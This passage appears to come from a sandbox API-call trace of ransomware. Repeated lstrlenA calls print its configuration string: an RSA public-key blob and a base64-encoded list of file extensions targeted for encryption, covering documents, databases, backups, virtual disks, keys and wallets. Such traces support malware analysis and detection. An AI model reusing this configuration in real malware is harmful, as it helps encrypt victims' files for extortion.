lLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.465] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.465] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.466] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.466] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxb